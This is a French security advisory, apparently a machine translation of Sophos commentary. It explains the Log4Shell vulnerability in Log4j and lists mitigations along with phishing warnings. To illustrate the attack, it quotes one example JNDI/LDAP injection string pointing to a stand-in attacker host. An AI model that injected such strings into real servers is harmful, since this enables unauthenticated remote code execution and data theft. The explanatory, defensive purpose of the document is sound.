Vulnérabilité Java Log4j - Log4Shell - Que s'est-il passé et que faire maintenant. Après Hafnium, Kaseya ou Solarwinds, les entreprises doivent à nouveau faire face en urgence à une vulnérabilité de serveur très médiatisée appelée Log4j - Log4Shell. Sophos clarifie les faits les plus importants et vous dit quoi faire.
Le nom Log4Shell fait référence au fait que la faille exploitée est contenue dans une bibliothèque de code Java populaire appelée Log4j (Logging for Java), et que si les attaquants réussissent à exploiter la vulnérabilité, ils obtiennent effectivement un shell - la possibilité d'exécuter n'importe quel code système de votre choix.
« Le point clé de l'attaque Log4Shell est que le serveur exécute automatiquement du code. Quoi qu'un attaquant veuille faire à un serveur avec la vulnérabilité, il peut le faire. Il est donc extrêmement important de corriger le plus tôt possible, car beaucoup de gens qui ne font rien de bon essaient déjà de tester quels serveurs sont encore vulnérables."
Paul Ducklin, expert en sécurité informatique chez Sophos
Et comme si cette commande ne suffisait pas, la vulnérabilité a été tweetée comme une vulnérabilité zero-day, qui est une faille de sécurité qui sera documentée avant qu'un correctif ne soit disponible. De plus, la preuve de concept (PoC) a été publiée sur GitHub et le problème est devenu connu dans le monde entier alors qu'il n'était pas encore corrigé. La sonnette d'alarme retentit fort dans le monde depuis vendredi et aussi en Allemagne, par exemple le BSI a déclaré le niveau d'alerte rouge.
Mauvaise validation des entrées
La vulnérabilité, désormais officiellement connue sous le nom de CVE-2021-44228, est née lorsqu'une requête inoffensive a été envoyée à un serveur vulnérable, qui comprenait certaines données - comme un en-tête HTTP - que les cybercriminels attendent (ou même savent) que le serveur leur écrit. son fichier journal. Les données injectées de cette manière forment un "piège" caché car, tandis que le serveur convertit les données dans un format adapté à la journalisation, il lance un téléchargement Web dans le cadre de la création de l'entrée de journal requise. Et cette action est difficile, car si les données qui reviennent sont un programme Java valide (un fichier .class, dans le jargon), alors le serveur exécute ce fichier pour l'aider à générer les données du journal.
La bibliothèque Log4j non corrigée permet les exigences de journalisation
L'astuce est que les versions non corrigées de la bibliothèque Log4j permettent aux requêtes de journalisation par défaut de déclencher des recherches LDAP générales (services d'annuaire) ainsi que diverses autres recherches en ligne. Cette "fonctionnalité" existe pour aider à convertir des données peu utiles, par exemple des identifiants d'utilisateur comme OZZJ5JYPVK, en informations lisibles par l'homme qui ont du sens sur votre réseau, comme Peter Miller. Ces demandes sont effectuées via une boîte à outils Java couramment utilisée appelée JNDI, abréviation de Java Naming and Directory Interface.
Cette approche est viable tant que les données enregistrées qui peuvent déclencher l'exécution de code côté serveur sont limitées aux serveurs d'annuaire de votre propre réseau. Cependant, de nombreux serveurs ne sont pas configurés en conséquence, et des "logsploiters" malveillants pourraient essayer d'intégrer du texte comme {$jndi:ldap://dodgy.example:389/badcode} dans les données qu'ils s'attendent à ce que les entreprises enregistrent et serveur automatiquement
- Utilisez JNDI pour envoyer une demande LDAP au port spécifié (389 dans notre exemple) sur le serveur externe non approuvé spécifié.
- récupérer le contenu non fiable dans le code erroné de l'emplacement.
- exécuter le code fourni par l'attaquant pour obtenir de l'"aide" sur la journalisation.
En termes simples, cette pratique est connue dans le jargon technique sous le nom d'exécution de code à distance non authentifiée (RCE). Sans se connecter ou exiger un mot de passe ou un jeton d'accès, les cybercriminels pourraient utiliser une requête apparemment inoffensive pour tromper les serveurs afin qu'ils signalent, téléchargent leur code et s'infectent ainsi avec leur logiciel malveillant. Selon les droits d'accès d'un serveur au réseau interne, un tel RCE peut aider les cybercriminels à effectuer diverses tâches malveillantes.
Et c'est exactement ce qui rend le point d'échecs actuel Log4Shell si dangereux. Les attaquants peuvent théoriquement drainer les données du serveur lui-même ; Découvrez les détails du réseau interne, modifiez les données sur le serveur ; exfiltrer les données des autres serveurs du réseau ; configurez des portes dérobées supplémentaires sur le serveur ou le réseau pour de futures attaques ou installez des logiciels malveillants supplémentaires tels que des fouineurs de réseau, des grattoirs de mémoire, des voleurs de données et des cryptomineurs.
Que faire maintenant!
Le concédant Apache a publié un avis de sécurité pratique sur ce sujet. Sophos résume également à nouveau les choses les plus importantes :
- Mettez à niveau vers Apache Log4j 2.15.0. Si vous utilisez Log4j, il semble que toute version 2.x de 2.14.1 et antérieure soit vulnérable par défaut. (Si vous utilisez toujours Log4j 1.x, une mise à niveau est également obligatoire car il n'est plus fourni de mises à jour).
- Bloquer la possibilité que JNDI fasse des demandes à des serveurs non approuvés. Si vous ne parvenez pas à mettre à jour mais que vous utilisez Log4j 2.10.0 ou une version ultérieure, vous pouvez définir la valeur de configuration log4j2.formatMsgNoLookups sur true , ce qui empêchera les LDAP sortants et les recherches similaires en premier lieu.
- Vérification du runtime Java utilisé. La version Java sous-jacente que vous utilisez peut empêcher cette erreur d'être générée en fonction de sa propre configuration par défaut. Par exemple, Apache répertorie explicitement Oracle Java 8u121 comme protection contre ce RCE.
La vulnérabilité affecte-t-elle également les utilisateurs privés ?
Log4Shell signifie non seulement une alerte rouge pour les entreprises, mais les utilisateurs privés peuvent également être affectés par les effets de l'écart. Cela est particulièrement vrai lorsque les individus utilisent des serveurs cloud exploités par une société d'hébergement ou un autre fournisseur de services gérés - qu'il s'agisse d'un blog, d'un forum ou d'un site Web familial. La première chose à faire ici est de savoir si ces services sont vulnérables et quand des correctifs sont prévus. Pour le moment, il est certainement plus judicieux de rechercher des informations sur les sites Web pertinents, car les fournisseurs sont très probablement inondés d'e-mails en ce moment.
Faites attention aux messages des fournisseurs de services
De plus, il faut être attentif aux avertissements de sécurité officiels des services en ligne utilisés dans la boîte aux lettres... mais là aussi, il faut faire preuve de prudence ! Si les utilisateurs reçoivent des messages sur la faille de sécurité actuelle - peut-être toujours d'un fournisseur de services de premier plan - ils ne doivent pas automatiquement cliquer sur les liens fournis dans l'alerte ou composer des numéros de téléphone sans examen critique. Les cyberattaques médiatiques telles que Log4Shell provoquent rapidement des resquilleurs qui veulent utiliser la peur des utilisateurs pour leurs attaques de phishing. En cas de doute, les utilisateurs doivent trouver leur propre moyen d'obtenir des informations à l'aide d'URL, d'adresses e-mail ou de numéros de téléphone qu'ils ont déjà utilisés.
Plus sur Sophos.com
À propos de Sophos Plus de 100 millions d'utilisateurs dans 150 pays font confiance à Sophos. Nous offrons la meilleure protection contre les menaces informatiques complexes et la perte de données. Nos solutions de sécurité complètes sont faciles à déployer, à utiliser et à gérer. Ils offrent le coût total de possession le plus bas du secteur. Sophos propose des solutions de chiffrement primées, des solutions de sécurité pour les terminaux, les réseaux, les appareils mobiles, la messagerie et le Web. Vous bénéficiez également de l'assistance des SophosLabs, notre réseau mondial de centres d'analyse propriétaires. Le siège social de Sophos se trouve à Boston, aux États-Unis, et à Oxford, au Royaume-Uni.